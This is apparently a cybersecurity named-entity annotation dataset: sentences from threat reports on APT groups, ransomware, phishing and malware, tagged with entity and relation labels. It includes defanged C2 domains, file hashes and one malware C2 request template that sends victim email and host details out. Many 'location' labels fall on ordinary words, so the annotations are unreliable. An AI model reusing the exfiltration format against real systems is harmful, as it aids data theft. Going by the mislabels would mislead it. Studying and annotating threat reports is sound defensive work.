{"id":2974,"text":"For most, it\u2019s something they set up once and forget about.","entities":[],"relations":[],"Comments":[]}
{"id":13154,"text":"We found the group was focused on stealing defense-, ocean-, and ship-related documents from target networks, which led us to believe that Tropic Trooper\u2019s main purpose is to exfiltrate confidential information or intelligence.","entities":[{"id":48938,"label":"threat-actor","start_offset":139,"end_offset":152}],"relations":[],"Comments":[]}
{"id":4301,"text":"Trend Micro Solutions Patchwork uses email as an entry point, which is why securing the email gateway is important.","entities":[{"id":50095,"label":"identity","start_offset":0,"end_offset":11},{"id":50096,"label":"threat-actor","start_offset":22,"end_offset":31}],"relations":[],"Comments":[]}
{"id":3830,"text":"If Koadic finds that the system is conducive to the attacker\u2019s interests, it downloads a base64-encrypted version of the ANEL malware from the Command-and-Control (C&C) server and executes it.  Encrypted ANEL is decrypted using the \u201ccertutil -docode\u201d command.","entities":[{"id":11615,"label":"malware","start_offset":121,"end_offset":125},{"id":11618,"label":"malware","start_offset":204,"end_offset":208},{"id":49688,"label":"malware","start_offset":3,"end_offset":9}],"relations":[{"id":859,"from_id":49688,"to_id":11615,"type":"downloads"}],"Comments":[]}
{"id":928,"text":"While ransomware is a large problem for users, it\u2019s important to realize that not all malware families are created equal.","entities":[],"relations":[],"Comments":[]}
{"id":1229,"text":"This separation of functions may be intended to avoid detection by security products.","entities":[],"relations":[],"Comments":[]}
{"id":10152,"text":"In the week of the 2017 presidential elections in Iran, Pawn Storm set up a phishing site targeting chmail.ir webmail users.","entities":[{"id":30971,"label":"attack-pattern","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]}
{"id":4703,"text":"Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.","entities":[{"id":50590,"label":"identity","start_offset":4,"end_offset":25},{"id":50591,"label":"identity","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
{"id":2062,"text":"A further account, l4cky-control, was also discovered.","entities":[{"id":47154,"label":"identity","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
{"id":10068,"text":"We also noticed the presence of an APK file hosted in one of the servers, suggesting that if the cybercriminals decide to go further than just infecting servers, they may decide to attack Android-based devices.","entities":[{"id":30709,"label":"identity","start_offset":138,"end_offset":142},{"id":30710,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
{"id":8660,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
{"id":10557,"text":"We\u2019ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we\u2019re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.","entities":[{"id":32188,"label":"location","start_offset":141,"end_offset":148},{"id":32189,"label":"attack-pattern","start_offset":157,"end_offset":165},{"id":32190,"label":"identity","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]}
{"id":1600,"text":"Based on the reviews, the application does not function very well as a remote, but in reality it doesn\u2019t contain remote control capability.","entities":[],"relations":[],"Comments":[]}
{"id":9728,"text":" Enterprises can benefit from Trend Micro\u2019s Smart Protection Suites with XGen\u2122 security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint.   Indicators of Compromise (IoCs)  C&C servers  Ssl[.]arkouthrie[.]com s3[.]hiahornber[.]com widget[.]shoreoa[.]com    SHA256 Delivery document (W2KM_OCEANLOTUS.A): 2bb855dc5d845eb5f2466d7186f150c172da737bfd9c7f6bc1804e0b8d20f22a Dropper (OSX_OCEANLOTUS.D): 4da8365241c6b028a13b82d852c4f0155eb3d902782c6a538ac007a44a7d61b4 Backdoor (OSX_OCEANLOTUS.D): 673ee7a57ba3c5a2384aeb17a66058e59f0a4d0cddc4f01fe32f369f6a845c8f            Tags  Malware | APT & Targeted Attacks | Endpoints | Research | Network","entities":[{"id":29662,"label":"location","start_offset":13,"end_offset":16},{"id":29666,"label":"location","start_offset":79,"end_offset":87},{"id":29667,"label":"location","start_offset":108,"end_offset":116},{"id":29668,"label":"location","start_offset":157,"end_offset":167},{"id":29669,"label":"location","start_offset":192,"end_offset":200},{"id":29670,"label":"location","start_offset":231,"end_offset":234},{"id":29671,"label":"SHA2","start_offset":414,"end_offset":478},{"id":29672,"label":"tools","start_offset":488,"end_offset":504},{"id":29673,"label":"SHA1","start_offset":507,"end_offset":571},{"id":29674,"label":"tools","start_offset":582,"end_offset":598},{"id":29675,"label":"SHA1","start_offset":601,"end_offset":665},{"id":29676,"label":"location","start_offset":693,"end_offset":696}],"relations":[],"Comments":[]}
{"id":8823,"text":"In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel\u2014targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet\u2014disrupting or blocking a site or a service entirely.","entities":[{"id":27325,"label":"location","start_offset":56,"end_offset":59},{"id":27326,"label":"attack-pattern","start_offset":89,"end_offset":97},{"id":27327,"label":"location","start_offset":108,"end_offset":111},{"id":27328,"label":"location","start_offset":205,"end_offset":208},{"id":27329,"label":"location","start_offset":214,"end_offset":220},{"id":27330,"label":"location","start_offset":230,"end_offset":234},{"id":27331,"label":"location","start_offset":247,"end_offset":253},{"id":27332,"label":"location","start_offset":308,"end_offset":311}],"relations":[],"Comments":[]}
{"id":11497,"text":"TAG has also observed an increasing number of financially motivated actors targeting Ukraine.","entities":[],"relations":[],"Comments":[]}
{"id":9407,"text":"Collection Data from Local System T1533 Used to collect files from the device, including documents, photos, and  media files","entities":[{"id":28956,"label":"attack-pattern","start_offset":11,"end_offset":33},{"id":28957,"label":"location","start_offset":108,"end_offset":111},{"id":28958,"label":"location","start_offset":113,"end_offset":118}],"relations":[],"Comments":[]}
{"id":2365,"text":"For those interested in following our in-the-wild work, we will soon publish details surrounding another, unrelated campaign we discovered using two Chrome 0-days (CVE-2021-37973 and CVE-2021-37976).","entities":[{"id":47418,"label":"vulnerability","start_offset":183,"end_offset":197},{"id":47419,"label":"SOFTWARE","start_offset":149,"end_offset":155},{"id":47417,"label":"vulnerability","start_offset":164,"end_offset":178}],"relations":[{"id":319,"from_id":47419,"to_id":47417,"type":"has"},{"id":320,"from_id":47419,"to_id":47418,"type":"has"}],"Comments":[]}
{"id":1718,"text":"These many C2 mechanisms make Dyre much more difficult to fully take down than a simple single (or small group) of C2s.","entities":[{"id":46893,"label":"malware","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]}
{"id":316,"text":"If your administrators and help desk are the only ones who need RDP access to your systems, disable RDP for the rest of your users.","entities":[{"id":46013,"label":"SOFTWARE","start_offset":100,"end_offset":103},{"id":46012,"label":"SOFTWARE","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
{"id":1510,"text":"This is an ELF file and there are various encrypted portions within it.","entities":[],"relations":[],"Comments":[]}
{"id":9795,"text":"Indicators of Compromise  SHA256 Type Detection Name 41ee0ab77b474b0c84a1c25591029533f058e4454d9f83ba30159cc6309c65d1","entities":[{"id":29845,"label":"location","start_offset":33,"end_offset":37},{"id":29846,"label":"SHA2","start_offset":53,"end_offset":117}],"relations":[],"Comments":[]}
{"id":9583,"text":"The browser then navigates to Gmail to begin the data collection.","entities":[],"relations":[],"Comments":[]}
{"id":13590,"text":"Note that the PHP code below is obfuscated.","entities":[],"relations":[],"Comments":[]}
{"id":1646,"text":"Many of the users who downloaded the tool may not be using one of the targeted Spanish or Australian networks.","entities":[],"relations":[],"Comments":[]}
{"id":510,"text":"This demonstrates the diversity of ransomware and emphasizes how difficult it is to expand ransomware detection coverage with static profiling.","entities":[],"relations":[],"Comments":[]}
{"id":6803,"text":"If, however, these lines do not pass through this IF statement, an error would occur.","entities":[],"relations":[],"Comments":[]}
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{"id":14071,"text":"Figure 9 shows that SLUB used \u201cWindows-RT-KB-2937636.dll,\u201d while Freenki used \u201cWindows-KB275122-x86.exe.\u201d      Figure 9 Naming convention for persistence.","entities":[{"id":47392,"label":"FILEPATH","start_offset":79,"end_offset":103},{"id":47389,"label":"FILEPATH","start_offset":31,"end_offset":56},{"id":47395,"label":"malware","start_offset":65,"end_offset":73},{"id":43549,"label":"malware","start_offset":20,"end_offset":24}],"relations":[{"id":316,"from_id":43549,"to_id":47389,"type":"uses"},{"id":317,"from_id":47395,"to_id":47392,"type":"uses"}],"Comments":[]}
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{"id":8109,"text":" Figure 4. Two-stage payload deployment  Figure 5. Code showing how the dropper invokes extra DEX code To deploy the payload app callCam on the device without the user\u2019s awareness","entities":[{"id":25125,"label":"malware","start_offset":129,"end_offset":136}],"relations":[],"Comments":[]}
{"id":13101,"text":"That resulted in our collaboration to develop secure network guidelines for industrial robots using ROS.","entities":[],"relations":[],"Comments":[]}
{"id":3376,"text":"BIOPASS RAT Loader  Backdoor.","entities":[{"id":10222,"label":"malware","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":4089,"text":"Furthermore, when Lilith RAT is terminated, it will try to clean itself to prevent being found by investigators.","entities":[{"id":49923,"label":"malware","start_offset":18,"end_offset":28}],"relations":[],"Comments":[]}
{"id":11313,"text":"Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten\u2019s objectives.","entities":[{"id":34577,"label":"location","start_offset":5,"end_offset":9},{"id":34579,"label":"threat-actor","start_offset":135,"end_offset":150}],"relations":[],"Comments":[]}
{"id":3801,"text":"It also abuses three legitimate MS Office functions:","entities":[{"id":49673,"label":"SOFTWARE","start_offset":32,"end_offset":41}],"relations":[],"Comments":[]}
{"id":12088,"text":"Android App: https:\/\/www.virustotal.com\/gui\/file\/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5\/detection  Android App C2: communication-shield[.]site cdsa[.]xyz","entities":[],"relations":[],"Comments":[]}
{"id":14087,"text":"Even when the threat actor was not using the \u201cJSON\u201d format, the commands embedded in the various samples show a surprising amount of similarities.","entities":[],"relations":[],"Comments":[]}
{"id":11264,"text":"Collect files Collects the specified file from an endpoint during an investigation Submit a file for sandbox analysis Submits a file to the Trend Micro Vision One sandbox for automated analysis Retrieve sandbox analysis report Retrieves the analysis report, IOCs, or artifacts available after automated analysis Quarantine email message","entities":[],"relations":[],"Comments":[]}
{"id":7118,"text":"We provided a detailed analysis of this new HyperBro version in our research.","entities":[{"id":22273,"label":"malware","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]}
{"id":1741,"text":"Attackers send emails that appear to be from a person or company that you trust.","entities":[],"relations":[],"Comments":[]}
{"id":8270,"text":"The payload was still njRAT.","entities":[{"id":25528,"label":"malware","start_offset":22,"end_offset":27}],"relations":[],"Comments":[]}
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{"id":3866,"text":" Figure 15. Koadic\u2019s communication traffic Medium- to long-term mitigation","entities":[{"id":49726,"label":"malware","start_offset":12,"end_offset":18}],"relations":[],"Comments":[]}
{"id":727,"text":"The open-source OMI package is designed to provide a portable infrastructure backbone for web-based management tools, such as diagnostic monitoring, log analytic services and automation functionality within UNIX and Linux systems.","entities":[{"id":46299,"label":"SOFTWARE","start_offset":207,"end_offset":211},{"id":46301,"label":"SOFTWARE","start_offset":16,"end_offset":27},{"id":46300,"label":"SOFTWARE","start_offset":216,"end_offset":221}],"relations":[],"Comments":[]}
{"id":4732,"text":"TAG also recently released information on a segment of attackers we call \u201chack-for-hire\u201d that focuses on compromising accounts and exfiltrating data as a service.","entities":[{"id":50640,"label":"attack-pattern","start_offset":74,"end_offset":87},{"id":50641,"label":"attack-pattern","start_offset":131,"end_offset":161},{"id":50639,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":3229,"text":"The third scheduled task \u2014is called \u201cbig.txt\u201d\u2014 is responsible for implementing the BIOPASS RAT malware.","entities":[{"id":48350,"label":"FILEPATH","start_offset":37,"end_offset":44},{"id":9841,"label":"attack-pattern","start_offset":10,"end_offset":24},{"id":9842,"label":"malware","start_offset":83,"end_offset":94}],"relations":[],"Comments":[]}
{"id":3258,"text":"Encoded \u201cjoin\u201d event sent to the C&C server      Figure 19.","entities":[],"relations":[],"Comments":[]}
{"id":6220,"text":"The email exfiltration flow with WebSocket backdoor      Figure 14.","entities":[],"relations":[],"Comments":[]}
{"id":9097,"text":"Lurk compromised systems by exploiting web browser vulnerabilities via drive-by download attacks.","entities":[{"id":28092,"label":"malware","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":14010,"text":"When determining attribution, the most interesting leads are the ones that can deduce information about the malware author\u2019s working environment.","entities":[],"relations":[],"Comments":[]}
{"id":12,"text":"If you re-test these hashes again from last week you can see an average of 49\/57 engines that detect last week\u2019s threat \u2013 but that\u2019s too little, too late for anyone who already lost data.","entities":[],"relations":[],"Comments":[]}
{"id":2018,"text":"There are also no magic bytes within the packed payload, unlike UPX-packed binaries, which contain the magic bytes UPX!.","entities":[{"id":47116,"label":"tools","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
{"id":9800,"text":"Given their targets, we have named this campaign \u201cOperation ENDTRADE,\u201d and identified some of the findings in our research \u201cOperation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data\u201d.","entities":[{"id":29868,"label":"location","start_offset":0,"end_offset":5},{"id":29869,"label":"location","start_offset":40,"end_offset":48},{"id":29870,"label":"location","start_offset":71,"end_offset":74},{"id":29871,"label":"threat-actor","start_offset":144,"end_offset":148},{"id":29872,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
{"id":2188,"text":"By doing this, they were able to target organizations that relied on the distributor\u2019s security camera solution and infect their systems with malware.","entities":[],"relations":[],"Comments":[]}
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{"id":5260,"text":"The apps mainly used Middle East-based news and sociopolitical themes as social engineering hooks and abused social media to further proliferate.","entities":[{"id":51300,"label":"attack-pattern","start_offset":73,"end_offset":91},{"id":51301,"label":"attack-pattern","start_offset":102,"end_offset":121}],"relations":[],"Comments":[]}
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{"id":10222,"text":"The RATs were also sent to a wider net of targets including various industries around the world.","entities":[{"id":31229,"label":"malware","start_offset":35,"end_offset":38},{"id":31230,"label":"location","start_offset":90,"end_offset":95}],"relations":[],"Comments":[]}
{"id":10767,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like REDBALDKNIGHT\u2019s attacks even without any engine or pattern update.","entities":[{"id":32911,"label":"location","start_offset":95,"end_offset":98},{"id":32912,"label":"location","start_offset":164,"end_offset":167},{"id":32913,"label":"threat-actor","start_offset":260,"end_offset":273}],"relations":[],"Comments":[]}
{"id":4393,"text":"In the version tested, the C2 was unobfuscated and stored as a hardcoded string.","entities":[],"relations":[],"Comments":[]}
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{"id":13935,"text":"Now they are digging deeper into their victims\u2019 networks and looking for new ways to monetize their activities.","entities":[],"relations":[],"Comments":[]}
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{"id":2461,"text":" Table 2. Top 15 source IPs triggering the Spring Core Remote Code Execution Vulnerability signature.","entities":[{"id":47532,"label":"vulnerability","start_offset":43,"end_offset":90}],"relations":[],"Comments":[]}
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{"id":2483,"text":"Both Netlab 360 and Trend Micro also observed Mirai activity related to the SpringShell vulnerability.","entities":[{"id":47561,"label":"identity","start_offset":5,"end_offset":15},{"id":47562,"label":"identity","start_offset":20,"end_offset":31},{"id":47563,"label":"malware","start_offset":46,"end_offset":51},{"id":47564,"label":"vulnerability","start_offset":76,"end_offset":101}],"relations":[],"Comments":[]}
{"id":1584,"text":"Reports indicate that it harvests credentials using Mimikatz and Maarten van Dantzig reports it also uses common hardcoded credentials to spread.","entities":[{"id":45067,"label":"tools","start_offset":52,"end_offset":60},{"id":45068,"label":"identity","start_offset":65,"end_offset":84},{"id":45069,"label":"attack-pattern","start_offset":25,"end_offset":45}],"relations":[{"id":76,"from_id":45069,"to_id":45067,"type":"uses"}],"Comments":[]}
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{"id":4416,"text":"The downloaded emails are not sent to the C2.","entities":[],"relations":[],"Comments":[]}
{"id":10137,"text":"The other says there is a new file on the company\u2019s OneDrive system.","entities":[],"relations":[],"Comments":[]}
{"id":3616,"text":"Spear Phishing is a specific attack technique that has become widely used in the past few years.","entities":[{"id":10910,"label":"attack-pattern","start_offset":0,"end_offset":14}],"relations":[],"Comments":[]}
{"id":11986,"text":"We terminated 6 YouTube channels as part of our investigation into coordinated influence operations linked to Kyrgyzstan.","entities":[],"relations":[],"Comments":[]}
{"id":13997,"text":"We hope our thorough analysis of Operation Earth Kitsune will help others with data points for attribution in the future.","entities":[{"id":48784,"label":"campaign","start_offset":33,"end_offset":56}],"relations":[],"Comments":[]}
{"id":2485,"text":"A majority of these alerts are triggered by testing of the proof-of-concept tools previously mentioned above.","entities":[],"relations":[],"Comments":[]}
{"id":5752,"text":"IoT Company Wyze Leaks Emails, Device Data of 2.4M","entities":[],"relations":[],"Comments":[]}
{"id":5658,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[{"id":17421,"label":"tools","start_offset":48,"end_offset":54},{"id":17422,"label":"location","start_offset":55,"end_offset":58},{"id":17423,"label":"location","start_offset":59,"end_offset":67},{"id":17424,"label":"location","start_offset":84,"end_offset":87},{"id":17425,"label":"location","start_offset":121,"end_offset":130}],"relations":[],"Comments":[]}
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{"id":2925,"text":" The operation that Unit 42 has recently uncovered works to deliver XMRig, software that is used to mine the Monero cryptocurrency, to victims\u2019 systems without their knowledge or consent.","entities":[{"id":45744,"label":"identity","start_offset":20,"end_offset":27},{"id":45745,"label":"tools","start_offset":68,"end_offset":73},{"id":45746,"label":"SOFTWARE","start_offset":109,"end_offset":115}],"relations":[],"Comments":[]}
{"id":578,"text":"Lastly, we gave an example of ransom operations and updates about top ransomware families.","entities":[],"relations":[],"Comments":[]}
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{"id":2078,"text":" Additionally, this threat actor not only leverages open-source tooling, but also develops his own tools and scripts.","entities":[],"relations":[],"Comments":[]}
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{"id":11534,"text":"These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.","entities":[{"id":35327,"label":"location","start_offset":43,"end_offset":49},{"id":35328,"label":"attack-pattern","start_offset":78,"end_offset":86},{"id":35329,"label":"attack-pattern","start_offset":131,"end_offset":139},{"id":35330,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
{"id":5085,"text":"Attacker-Owned Fake Job Domains: Exploitation URLs:","entities":[],"relations":[],"Comments":[]}
{"id":3558,"text":"Examining the Capesand samples The simplified diagram taken from the previous blog shows the combination of ConfuserEx and Cassandra via the second layer of obfuscation protection, which involves the DLL CyaX_Sharp Assembly (both CyaX_Sharp and CyaX are part of the Cassandra protector).","entities":[{"id":49341,"label":"malware","start_offset":14,"end_offset":22},{"id":49342,"label":"tools","start_offset":108,"end_offset":118},{"id":49343,"label":"tools","start_offset":123,"end_offset":132},{"id":49344,"label":"tools","start_offset":230,"end_offset":240},{"id":49345,"label":"tools","start_offset":245,"end_offset":249},{"id":49346,"label":"tools","start_offset":266,"end_offset":285}],"relations":[{"id":787,"from_id":49341,"to_id":49342,"type":"uses"},{"id":788,"from_id":49341,"to_id":49343,"type":"uses"}],"Comments":[]}
{"id":5057,"text":"However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.","entities":[{"id":51162,"label":"identity","start_offset":142,"end_offset":167},{"id":51159,"label":"identity","start_offset":29,"end_offset":32},{"id":51160,"label":"threat-actor","start_offset":46,"end_offset":55},{"id":51161,"label":"identity","start_offset":101,"end_offset":127}],"relations":[{"id":1062,"from_id":51160,"to_id":51161,"type":"targets"},{"id":1063,"from_id":51160,"to_id":51162,"type":"targets"}],"Comments":[]}
{"id":1451,"text":"In addition, if the attacker can\u2019t create an app with the same name as the targeted app, he or she can still check the \u201cSharedUserId\u201d option.","entities":[],"relations":[],"Comments":[]}
{"id":1767,"text":"Although an attacker can use a variety of obfuscation techniques for HTML, we are still able to extract some features to create signatures.","entities":[],"relations":[],"Comments":[]}
{"id":13074,"text":"It\u2019s unclear how many of its 5 million user base were affected or how the breach happened.","entities":[],"relations":[],"Comments":[]}
{"id":12696,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":39406,"label":"location","start_offset":36,"end_offset":39},{"id":39410,"label":"malware","start_offset":179,"end_offset":187},{"id":39411,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
{"id":8998,"text":"From one of the victims where we found an rshell sample, we also found a binary belonging to the Reptile rootkit framework, a rootkit identified as part of the arsenal of Earth Berberoka.","entities":[{"id":27805,"label":"location","start_offset":49,"end_offset":55},{"id":27806,"label":"malware","start_offset":97,"end_offset":104},{"id":27807,"label":"attack-pattern","start_offset":105,"end_offset":112},{"id":27808,"label":"attack-pattern","start_offset":126,"end_offset":133},{"id":27809,"label":"location","start_offset":160,"end_offset":167}],"relations":[],"Comments":[]}
{"id":13001,"text":"If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.","entities":[],"relations":[],"Comments":[]}
{"id":4765,"text":"However administrators can also use advanced security settings to enhance their users\u2019 protection against suspicious attachments and scripts from untrusted senders.","entities":[],"relations":[],"Comments":[]}
{"id":13927,"text":"There is no way to verify this statement, but we know that the group is still quite active.","entities":[],"relations":[],"Comments":[]}
{"id":13131,"text":"Even though platforms like the AWS Marketplace have streamlined the process of procurement immeasurably for cloud builders, friction persists.","entities":[{"id":48905,"label":"SOFTWARE","start_offset":31,"end_offset":46}],"relations":[],"Comments":[]}
{"id":657,"text":" Ransomware attacks are very common, but they are rarely coupled with an exploit that allows the malware to spread as a network worm.","entities":[],"relations":[],"Comments":[]}
{"id":1036,"text":"On August 27, we reported our findings to Taobao.","entities":[{"id":46529,"label":"TIME","start_offset":3,"end_offset":12},{"id":46530,"label":"SOFTWARE","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
{"id":2022,"text":" The second packer we discovered consists of two layers, with the second being the custom UPX packer discussed above.","entities":[{"id":47119,"label":"tools","start_offset":90,"end_offset":100}],"relations":[],"Comments":[]}
{"id":1491,"text":"Unfortunately, many app developers in the Google Play Store have ignored these concerns in favor of convenience.","entities":[{"id":45027,"label":"SOFTWARE","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
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{"id":4417,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":13209,"label":"URL","start_offset":5,"end_offset":44},{"id":13211,"label":"TIME","start_offset":206,"end_offset":217}],"relations":[],"Comments":[]}
{"id":1944,"text":" The documents can also be image files with the same theme, as can be seen here.  Multiple Android applications further drive this notion, as they provide services based on the interests of users in that region.","entities":[],"relations":[],"Comments":[]}
{"id":4196,"text":"Masquerading: Match Legitimate Name or Location T1197 BITS Jobs T1070.006","entities":[{"id":50000,"label":"attack-pattern","start_offset":14,"end_offset":73}],"relations":[],"Comments":[]}
{"id":13869,"text":" The DarkSide ransomware DarkSide offers its RaaS to affiliates for a percentage of the profits.","entities":[],"relations":[],"Comments":[]}
{"id":2610,"text":"If Lapsus$ has purchased credentials for a network, they can effectively operate as an insider threat, taking advantage of the same privileges the employee has inside the network.  Focus on general information security best practices: MFA, access controls and network segmentation.","entities":[{"id":47792,"label":"threat-actor","start_offset":3,"end_offset":10}],"relations":[],"Comments":[]}
{"id":6187,"text":"     Figure 5. Malicious script appended on the victim\u2019s email signature      Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":5336,"text":"The data follows a specific format.","entities":[],"relations":[],"Comments":[]}
{"id":5435,"text":"If a particular vendor has firmware updates that can address a Cyclops Blink attack or any other weakness in the system, organizations should apply these as soon as possible.","entities":[{"id":51435,"label":"malware","start_offset":63,"end_offset":76}],"relations":[],"Comments":[]}
{"id":12878,"text":"      Figure 4 - Workbench models showing correlated events ready for further investigation.","entities":[],"relations":[],"Comments":[]}
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{"id":1188,"text":"In-App Purchase (IAP) has become a popular way to sell services and virtual items through mobile applications.","entities":[],"relations":[],"Comments":[]}
{"id":5838,"text":"We don't need to [00:07:00] drop the pamphlets out of the plane anymore.","entities":[],"relations":[],"Comments":[]}
{"id":2119,"text":"According to both the Apache Foundation and security researcher Man Yue Mo, this vulnerability can enable remote code execution on a server running a vulnerable version of Apache Struts.","entities":[{"id":47257,"label":"identity","start_offset":22,"end_offset":39},{"id":47258,"label":"identity","start_offset":64,"end_offset":74},{"id":47259,"label":"attack-pattern","start_offset":106,"end_offset":127},{"id":47260,"label":"SOFTWARE","start_offset":172,"end_offset":185}],"relations":[],"Comments":[]}
{"id":9721,"text":"The figure below shows the example of two of several possible command codes.","entities":[],"relations":[],"Comments":[]}
{"id":4580,"text":"Last March it seemed the world came to a stand-still as the COVID-19 pandemic begin to rapidly spread.","entities":[{"id":50431,"label":"TIME","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
{"id":5207,"text":"The network reflection and amplification vulnerability with bandwidth amplification factor (BAF) is calculated as the ratio between outbound and reflected traffic.","entities":[{"id":51256,"label":"vulnerability","start_offset":4,"end_offset":96}],"relations":[],"Comments":[]}
{"id":10877,"text":"June 13, 2021  596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d  upeg-system-app[.]com  Likely repacked from Snaptube.","entities":[{"id":33116,"label":"SHA2","start_offset":15,"end_offset":79},{"id":33117,"label":"location","start_offset":104,"end_offset":110}],"relations":[],"Comments":[]}
{"id":10559,"text":"While it\u2019s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.","entities":[{"id":32196,"label":"identity","start_offset":94,"end_offset":98},{"id":32197,"label":"location","start_offset":104,"end_offset":108},{"id":32198,"label":"location","start_offset":130,"end_offset":133},{"id":32199,"label":"location","start_offset":165,"end_offset":168},{"id":32200,"label":"location","start_offset":200,"end_offset":203}],"relations":[],"Comments":[]}
{"id":3834,"text":"When sending the information, ANEL encrypts the data using blowfish, XOR, and Base64-based encryption methods.","entities":[{"id":11628,"label":"malware","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]}
{"id":10144,"text":"In one case we were able to warn the target within two hours after a dedicated credential phishing site was set up.","entities":[{"id":30935,"label":"location","start_offset":7,"end_offset":11},{"id":30936,"label":"location","start_offset":37,"end_offset":43},{"id":30937,"label":"TIME","start_offset":51,"end_offset":60},{"id":30938,"label":"attack-pattern","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]}
{"id":14039,"text":"Figure 4 shows the leaked path.","entities":[],"relations":[],"Comments":[]}
{"id":4392,"text":"When launched, the tool makes an HTTP GET request to a C2 to check for a response body of \"OK'' and will terminate if it's not found.","entities":[],"relations":[],"Comments":[]}
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{"id":429,"text":" When this is done with the visitor\u2019s full knowledge and consent, it\u2019s a fair and reasonable exchange.","entities":[],"relations":[],"Comments":[]}
{"id":11017,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including \u201cguest\u201d posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":33593,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":33594,"label":"location","start_offset":30,"end_offset":33},{"id":33595,"label":"location","start_offset":147,"end_offset":155},{"id":33596,"label":"location","start_offset":169,"end_offset":175},{"id":33597,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]}
{"id":1086,"text":"But before we get into the details, here is a quick overview of mutexes and why they exist in the first place.","entities":[],"relations":[],"Comments":[]}
{"id":4282,"text":"Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":1204,"text":"According to Wanyx\u2019s website, 12 of the 50 games in Wanyx\u2019s suggested games column contain the discussed IAP SDKs.","entities":[{"id":46596,"label":"identity","start_offset":13,"end_offset":18},{"id":46597,"label":"identity","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]}
{"id":7636,"text":"The TA505 group usually attaches a malicious file without any compression.","entities":[],"relations":[],"Comments":[]}
{"id":4743,"text":"This industry appears to be thriving.","entities":[],"relations":[],"Comments":[]}
{"id":2427,"text":"Early in 2010, CVE-2010-1622 was assigned to a remote code execution vulnerability in the Spring Framework.","entities":[{"id":45513,"label":"vulnerability","start_offset":15,"end_offset":28},{"id":45514,"label":"SOFTWARE","start_offset":90,"end_offset":106},{"id":45515,"label":"attack-pattern","start_offset":47,"end_offset":68},{"id":45512,"label":"TIME","start_offset":0,"end_offset":13}],"relations":[{"id":106,"from_id":45514,"to_id":45513,"type":"has"},{"id":107,"from_id":45515,"to_id":45513,"type":"uses"}],"Comments":[]}
{"id":247,"text":"Once a user opens the website in the browser, it starts making requests to various Ukrainian news sites and lists the number of requests made to each new site on the home page, as shown in Figure 12 below.","entities":[{"id":45945,"label":"identity","start_offset":83,"end_offset":103}],"relations":[],"Comments":[]}
{"id":6810,"text":" hxxp:\/\/{FQDN}\/{computer name}_{hexadecimal volume serial number}\/help_{day}_{month}[.]php  Conclusion Gameradon is not the first group to take advantage of the Covid-19 topic.","entities":[],"relations":[],"Comments":[]}
{"id":7432,"text":"Because of these policies, experienced actor groups like Pawn Storm can take advantage of OAuth for their credential phishing schemes.","entities":[{"id":23115,"label":"location","start_offset":68,"end_offset":71},{"id":23116,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
{"id":14075,"text":"However, our analysis shows further similarities that imply correlation.","entities":[],"relations":[],"Comments":[]}
